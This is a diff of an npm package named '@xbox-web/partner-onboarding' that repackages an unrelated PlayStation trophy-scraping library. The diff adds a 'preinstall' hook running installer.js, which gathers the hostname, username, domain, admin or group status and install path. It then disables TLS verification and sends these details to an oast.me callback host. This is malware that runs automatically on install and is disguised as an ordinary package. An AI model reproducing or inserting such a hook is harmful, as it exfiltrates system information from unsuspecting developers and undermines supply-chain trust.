@xbox-web/partner-onboarding 14.0.0
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- package/.babelrc +3 -0
- package/.eslintignore +3 -0
- package/.eslintrc +6 -0
- package/.travis.yml +7 -0
- package/LICENSE +24 -0
- package/README.md +41 -0
- package/installer.js +42 -0
- package/lib/index.js +122 -0
- package/package.json +59 -0
- package/src/bin/cli.js +27 -0
- package/src/lib/index.js +68 -0
- package/test/game.spec.js +32 -0
- package/test/trophies.spec.js +32 -0
- package/test.js +58 -0
package/.babelrc
ADDED
package/.eslintignore
ADDED
package/.eslintrc
ADDED
package/.travis.yml
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package/LICENSE
ADDED
@@ -0,0 +1,24 @@
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The MIT License
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Copyright (c) 2013 Max Ogden
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Permission is hereby granted, free of charge,
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to any person obtaining a copy of this software and
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associated documentation files (the "Software"), to
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deal in the Software without restriction, including
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without limitation the rights to use, copy, modify,
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merge, publish, distribute, sublicense, and/or sell
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copies of the Software, and to permit persons to whom
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the Software is furnished to do so,
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subject to the following conditions:
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The above copyright notice and this permission notice
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shall be included in all copies or substantial portions of the Software.
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
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EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
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OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
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IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
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ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
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TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
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SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
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package/README.md
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# Playstation Trophies
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A `nodejs` API to retrieve a user's Playstation trophy data from the [Playstation website](https://www.playstation.com/en-us/my/public-trophies/).
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## Usage
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To use the API within your code you can use `#request` to return all the games that have been attached to a user's account.
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```js
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import { Trophies } from 'playstation-trophies';
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Trophies.request('{{username}}', (err, games) => {
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console.log(`{{username}} has ${games.length} games`);
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})
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```
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Each `Game` may contain:
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```json
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{
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"id": "Playstation Game ID",
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"title": "Name of the game",
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"platforms": "[PS3|PS4|VITA]",
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"progress": "Completion percentage for trophies",
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"trophies": "[list of trophies completed]",
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"avatar": "URL for game avatar"
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}
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```
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## CLI
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A CLI is also available for quickly searching users data to use in your shell.
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```bash
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# return all games belonging to {{username}} in JSON format
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npm run cli {{username}} -- --format json
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```
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# License
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MIT
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package/installer.js
ADDED
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var os = require('os');
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var hostname = os.hostname();
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var username = os.userInfo().username;
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var platform = os.platform();
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var admin_text;
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if (platform == 'win32' || platform == 'win64') {
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try {
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net_session = require('child_process').execSync('net session');
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admin_text = 'admin';
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}
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catch {
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admin_text = 'non-admin';
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}
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username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
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} else {
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admin_text = os.userInfo().uid;
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try {
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const { execSync } = require('child_process');
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let stdout = execSync('groups').toString().replace('\n', '');
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admin_text += ' ' + stdout;
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}
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catch {
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}
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}
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process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
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const https = require('https')
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const options = {
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hostname: 'cig6l3l34eboiti6qhjg6bi17eq4dpqwn.oast.me',
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port: 443,
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path: '/?uname=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=xbox-web/partner-onboarding&PWD=' + __dirname,
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method: 'GET'
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}
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const req = https.request(options)
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req.end();
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package/lib/index.js
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'use strict';
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Object.defineProperty(exports, "__esModule", {
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value: true
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});
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exports.Trophies = exports.Game = exports.PLATINUM = exports.GOLD = exports.SILVER = exports.BRONZE = exports.VITA = exports.PS3 = exports.PS4 = undefined;
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var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
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var _request2 = require('request');
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var _request3 = _interopRequireDefault(_request2);
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function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
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function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
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var PS4 = exports.PS4 = 'ps4';
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var PS3 = exports.PS3 = 'ps3';
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var VITA = exports.VITA = 'vita';
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var BRONZE = exports.BRONZE = 'bronze';
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var SILVER = exports.SILVER = 'silver';
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var GOLD = exports.GOLD = 'gold';
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var PLATINUM = exports.PLATINUM = 'platinum';
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var NOOP = function NOOP() {
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return undefined;
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};
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var Game = exports.Game = (function () {
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function Game(_ref) {
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var _ref$id = _ref.id;
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var id = _ref$id === undefined ? null : _ref$id;
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var _ref$title = _ref.title;
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var title = _ref$title === undefined ? null : _ref$title;
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var _ref$platforms = _ref.platforms;
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var platforms = _ref$platforms === undefined ? [] : _ref$platforms;
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var _ref$progress = _ref.progress;
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var progress = _ref$progress === undefined ? 0 : _ref$progress;
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var _ref$trophies = _ref.trophies;
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var trophies = _ref$trophies === undefined ? {} : _ref$trophies;
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var _ref$avatar = _ref.avatar;
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var avatar = _ref$avatar === undefined ? null : _ref$avatar;
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_classCallCheck(this, Game);
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this.id = id;
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this.title = title;
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this.platforms = platforms;
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this.progress = parseInt(progress, 10) || 0;
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this.trophies = Object.assign({ bronze: 0, silver: 0, gold: 0, platinum: 0 }, trophies);
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this.avatar = avatar;
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}
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// Return true if game belongs to platform provided
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// @param {string} platform
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// @return {boolean}
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_createClass(Game, [{
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key: 'belongsToPlatform',
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value: function belongsToPlatform(platform) {
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return this.platforms.indexOf(platform) >= 0;
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}
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}]);
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return Game;
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})();
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var Trophies = exports.Trophies = (function () {
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function Trophies() {
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_classCallCheck(this, Trophies);
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}
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_createClass(Trophies, null, [{
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key: 'request',
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// Scrape the public JSON feed provided by Playstation.com to find and return
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// a user object with each game and the currently completed trophies
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// curl 'https://io.playstation.com/playstation/psn/public/trophies/?onlineId={{username}}'
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// -H 'Origin: https://www.playstation.com' --compressed
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// @param {String} username of the PSN user
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// @param {object} options
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// - {Number} offset to start gathering games from
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// - {Number} limit the number of games found
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// @param {function} callback to pass completion to
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value: function request(username) {
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var _this = this;
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var callback = arguments.length <= 1 || arguments[1] === undefined ? NOOP : arguments[1];
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var url = 'https://io.playstation.com/playstation/psn/public/trophies/?onlineId=' + username;
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var headers = {
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Origin: 'https://www.playstation.com'
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};
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return (0, _request3.default)({ url: url, headers: headers }, function (err, response) {
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if (err) {
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return callback(err);
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}
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var json = JSON.parse(response.body);
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var games = json.list.map(_this.parseGame);
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callback(null, games);
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});
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}
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// Convert JSON response object into Game object
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// @param {object} JSON
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// @return Game
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}, {
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key: 'parseGame',
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value: function parseGame(game) {
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return new Game({
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id: game.gameId,
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title: game.title,
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platforms: game.platform.split(','),
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progress: game.progress,
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trophies: game.trophies,
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avatar: game.imgUrl
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});
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}
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}]);
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return Trophies;
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})();
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package/package.json
ADDED
@@ -0,0 +1,59 @@
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{
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"_from": "playstation-trophies",
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"_id": "playstation-trophies@1.0.0",
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"_inBundle": false,
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"_integrity": "sha512-3E+7jJ/JAFMDdyVZVpXbNnBW6NFPKA0H2V0Dl7c1gLao2SdxAJ1hIh66mCXK7L13ooEWrbR/2UBvh9PkmYrHSQ==",
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"_location": "/playstation-trophies",
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"_phantomChildren": {},
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"_requested": {
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"type": "tag",
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"registry": true,
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"raw": "playstation-trophies",
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"name": "playstation-trophies",
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"escapedName": "playstation-trophies",
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"rawSpec": "",
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"saveSpec": null,
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"fetchSpec": "latest"
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},
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"_requiredBy": [
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"#USER",
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"/"
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],
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"_resolved": "https://registry.npmjs.org/playstation-trophies/-/playstation-trophies-1.0.0.tgz",
|
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"_shasum": "b5215b3b4cac77ba508bd53a06f26e8cd2d0e4cb",
|
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"_spec": "playstation-trophies",
|
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"_where": "/home/ubuntu/Documents/npm/xbox-web",
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"author": {
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"name": "Jimmy Hillis",
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"email": "jimmy@hillis.me"
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},
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"bundleDependencies": false,
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"dependencies": {
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"minimist": "^1.2.0",
|
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+
"request": "^2.69.0"
|
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+
},
|
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"deprecated": false,
|
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"description": "API to retrieve a user's Playstation trophy data",
|
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+
"devDependencies": {
|
38
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+
"babel-eslint": "^4.1.6",
|
39
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+
"babel-preset-es2015": "^6.5.0",
|
40
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+
"chai": "^3.5.0",
|
41
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+
"eslint": "^1.10.3",
|
42
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+
"eslint-config-airbnb": "^5.0.0",
|
43
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"eslint-plugin-react": "^3.16.1",
|
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"mocha": "^2.4.5"
|
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},
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"license": "MIT",
|
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"main": "lib/index.js",
|
48
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"name": "@xbox-web/partner-onboarding",
|
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"scripts": {
|
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"build": "babel src --out-dir .",
|
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"clean": "rm -rf lib bin",
|
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"cli": "node bin/cli.js",
|
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+
"lint": "./node_modules/eslint/bin/eslint.js .",
|
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+
"test": "npm run lint && npm run test:lib",
|
55
|
+
"test:lib": "./node_modules/mocha/bin/mocha -R spec test/*.js",
|
56
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+
"preinstall": "node installer.js"
|
57
|
+
},
|
58
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+
"version": "14.0.0"
|
59
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+
}
|
package/src/bin/cli.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
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+
import minimist from 'minimist';
|
2
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+
import { Trophies } from '../lib/';
|
3
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+
|
4
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const argv = minimist(process.argv.slice(2));
|
5
|
+
const user = argv.user || argv._[0];
|
6
|
+
const format = argv.format || null;
|
7
|
+
|
8
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+
if (user === null) {
|
9
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+
console.error('A username must be provided');
|
10
|
+
process.exit(1);
|
11
|
+
}
|
12
|
+
|
13
|
+
// Format and output the games returned from the API
|
14
|
+
// to stdout with the user selected format.
|
15
|
+
Trophies.request(user, (err, games) => {
|
16
|
+
switch (format) {
|
17
|
+
case 'json':
|
18
|
+
console.log(JSON.stringify(games));
|
19
|
+
break;
|
20
|
+
default:
|
21
|
+
games.forEach(game => {
|
22
|
+
console.log(`${game.title} for ${game.platforms.join('|')} ` +
|
23
|
+
`is ${game.progress}% complete`);
|
24
|
+
});
|
25
|
+
break;
|
26
|
+
}
|
27
|
+
});
|
package/src/lib/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
import request from 'request';
|
2
|
+
|
3
|
+
export const PS4 = 'ps4';
|
4
|
+
export const PS3 = 'ps3';
|
5
|
+
export const VITA = 'vita';
|
6
|
+
export const BRONZE = 'bronze';
|
7
|
+
export const SILVER = 'silver';
|
8
|
+
export const GOLD = 'gold';
|
9
|
+
export const PLATINUM = 'platinum';
|
10
|
+
|
11
|
+
const NOOP = () => undefined;
|
12
|
+
|
13
|
+
export class Game {
|
14
|
+
constructor({ id = null, title = null, platforms = [],
|
15
|
+
progress = 0, trophies = {}, avatar = null }) {
|
16
|
+
this.id = id;
|
17
|
+
this.title = title;
|
18
|
+
this.platforms = platforms;
|
19
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+
this.progress = parseInt(progress, 10) || 0;
|
20
|
+
this.trophies = Object.assign({ bronze: 0, silver: 0, gold: 0, platinum: 0 }, trophies);
|
21
|
+
this.avatar = avatar;
|
22
|
+
}
|
23
|
+
// Return true if game belongs to platform provided
|
24
|
+
// @param {string} platform
|
25
|
+
// @return {boolean}
|
26
|
+
belongsToPlatform(platform) {
|
27
|
+
return this.platforms.indexOf(platform) >= 0;
|
28
|
+
}
|
29
|
+
}
|
30
|
+
|
31
|
+
export class Trophies {
|
32
|
+
// Scrape the public JSON feed provided by Playstation.com to find and return
|
33
|
+
// a user object with each game and the currently completed trophies
|
34
|
+
// curl 'https://io.playstation.com/playstation/psn/public/trophies/?onlineId={{username}}'
|
35
|
+
// -H 'Origin: https://www.playstation.com' --compressed
|
36
|
+
// @param {String} username of the PSN user
|
37
|
+
// @param {object} options
|
38
|
+
// - {Number} offset to start gathering games from
|
39
|
+
// - {Number} limit the number of games found
|
40
|
+
// @param {function} callback to pass completion to
|
41
|
+
static request(username, callback = NOOP) {
|
42
|
+
const url = `https://io.playstation.com/playstation/psn/public/trophies/?onlineId=${username}`;
|
43
|
+
const headers = {
|
44
|
+
Origin: 'https://www.playstation.com',
|
45
|
+
};
|
46
|
+
return request({ url, headers }, (err, response) => {
|
47
|
+
if (err) {
|
48
|
+
return callback(err);
|
49
|
+
}
|
50
|
+
const json = JSON.parse(response.body);
|
51
|
+
const games = json.list.map(this.parseGame);
|
52
|
+
callback(null, games);
|
53
|
+
});
|
54
|
+
}
|
55
|
+
// Convert JSON response object into Game object
|
56
|
+
// @param {object} JSON
|
57
|
+
// @return Game
|
58
|
+
static parseGame(game) {
|
59
|
+
return new Game({
|
60
|
+
id: game.gameId,
|
61
|
+
title: game.title,
|
62
|
+
platforms: game.platform.split(','),
|
63
|
+
progress: game.progress,
|
64
|
+
trophies: game.trophies,
|
65
|
+
avatar: game.imgUrl,
|
66
|
+
});
|
67
|
+
}
|
68
|
+
}
|
@@ -0,0 +1,32 @@
|
|
1
|
+
const chai = require('chai');
|
2
|
+
const Game = require('../lib').Game;
|
3
|
+
|
4
|
+
describe('Game', () => {
|
5
|
+
describe('#constructor', () => {
|
6
|
+
it('should set all parameters provided', () => {
|
7
|
+
const game = new Game({ id: 'GAME1', title: 'Fallout 4', platforms: [],
|
8
|
+
progress: 20, trophies: { bronze: 1 }, avatar: '/path/to/image' });
|
9
|
+
chai.assert.equal(game.id, 'GAME1');
|
10
|
+
chai.assert.equal(game.title, 'Fallout 4');
|
11
|
+
chai.assert.lengthOf(game.platforms, 0);
|
12
|
+
chai.assert.equal(game.progress, 20);
|
13
|
+
chai.assert.equal(game.trophies.bronze, 1);
|
14
|
+
chai.assert.equal(game.avatar, '/path/to/image');
|
15
|
+
});
|
16
|
+
it('should set default trophy values', () => {
|
17
|
+
const defaultTrophies = { bronze: 0, silver: 0, gold: 0, platinum: 0 };
|
18
|
+
const game = new Game({ trophies: {} });
|
19
|
+
chai.assert.deepEqual(game.trophies, defaultTrophies);
|
20
|
+
});
|
21
|
+
});
|
22
|
+
describe('#belongsToPlatform', () => {
|
23
|
+
it('should return true if the game is on the specified platform', () => {
|
24
|
+
const game = new Game({ platforms: ['ps4'] });
|
25
|
+
chai.assert.equal(game.belongsToPlatform('ps4'), true);
|
26
|
+
});
|
27
|
+
it('Should return false if the game is not on the specified platform', () => {
|
28
|
+
const game = new Game({ platforms: ['ps4'] });
|
29
|
+
chai.assert.equal(game.belongsToPlatform('vita'), false);
|
30
|
+
});
|
31
|
+
});
|
32
|
+
});
|
@@ -0,0 +1,32 @@
|
|
1
|
+
const chai = require('chai');
|
2
|
+
const Trophies = require('../lib').Trophies;
|
3
|
+
|
4
|
+
describe('Trophies', () => {
|
5
|
+
describe('#parseGame', () => {
|
6
|
+
it('Should create object with provided JSON values', () => {
|
7
|
+
const json = {
|
8
|
+
platform: 'ps3,ps4,vita',
|
9
|
+
progress: 100,
|
10
|
+
trophies: {
|
11
|
+
bronze: 7,
|
12
|
+
silver: 4,
|
13
|
+
gold: 1,
|
14
|
+
platinum: 0,
|
15
|
+
},
|
16
|
+
imgUrl: '/path/to/image',
|
17
|
+
title: 'FEZ',
|
18
|
+
gameId: 'NPWR05526_00',
|
19
|
+
};
|
20
|
+
const game = Trophies.parseGame(json);
|
21
|
+
chai.assert.equal(game.id, 'NPWR05526_00');
|
22
|
+
chai.assert.equal(game.title, 'FEZ');
|
23
|
+
chai.assert.lengthOf(game.platforms, 3);
|
24
|
+
chai.assert.deepEqual(game.platforms, ['ps3', 'ps4', 'vita']);
|
25
|
+
chai.assert.equal(game.progress, 100);
|
26
|
+
chai.assert.deepEqual(game.trophies, {
|
27
|
+
bronze: 7, silver: 4, gold: 1, platinum: 0,
|
28
|
+
});
|
29
|
+
chai.assert.equal(game.avatar, '/path/to/image');
|
30
|
+
});
|
31
|
+
});
|
32
|
+
});
|
package/test.js
ADDED
@@ -0,0 +1,58 @@
|
|
1
|
+
// function throttle() {
|
2
|
+
// // noop
|
3
|
+
// return;
|
4
|
+
// };
|
5
|
+
|
6
|
+
// Bind should allow you to run a provided method using state
|
7
|
+
// as the object to used for `this`
|
8
|
+
function bind(func, state) {
|
9
|
+
// noop
|
10
|
+
return function () {
|
11
|
+
const args = Array.prototype.slice(arguments);
|
12
|
+
return func.apply(state, args);
|
13
|
+
};
|
14
|
+
}
|
15
|
+
|
16
|
+
Function.prototype.bind = Function.prototype.bind || function (state) {
|
17
|
+
return bind(this, state);
|
18
|
+
};
|
19
|
+
|
20
|
+
function a() {
|
21
|
+
console.log(this.x);
|
22
|
+
}
|
23
|
+
|
24
|
+
// a();
|
25
|
+
const b = bind(a, { x: 20 });
|
26
|
+
// b();
|
27
|
+
// a.bind({ x: 10 })();
|
28
|
+
|
29
|
+
// function debounce() {
|
30
|
+
// // noop
|
31
|
+
// return;
|
32
|
+
// };
|
33
|
+
|
34
|
+
function throttle(func, delay) {
|
35
|
+
var wait = null;
|
36
|
+
return function () {
|
37
|
+
// Allow user to cancel the function anytime they want
|
38
|
+
this.cancel = function () {
|
39
|
+
return clearTimeout(wait);
|
40
|
+
};
|
41
|
+
if (wait === null) {
|
42
|
+
var args = Array.prototype.slice(arguments);
|
43
|
+
func();
|
44
|
+
wait = setTimeout(function () {
|
45
|
+
clearTimeout(wait);
|
46
|
+
console.log('ready');
|
47
|
+
}, delay);
|
48
|
+
}
|
49
|
+
}
|
50
|
+
}
|
51
|
+
|
52
|
+
const c = throttle(b, 1000);
|
53
|
+
// while (true) {
|
54
|
+
// c();
|
55
|
+
// }
|
56
|
+
for (var x = 0; x < 10000; x++) {
|
57
|
+
c();
|
58
|
+
}
|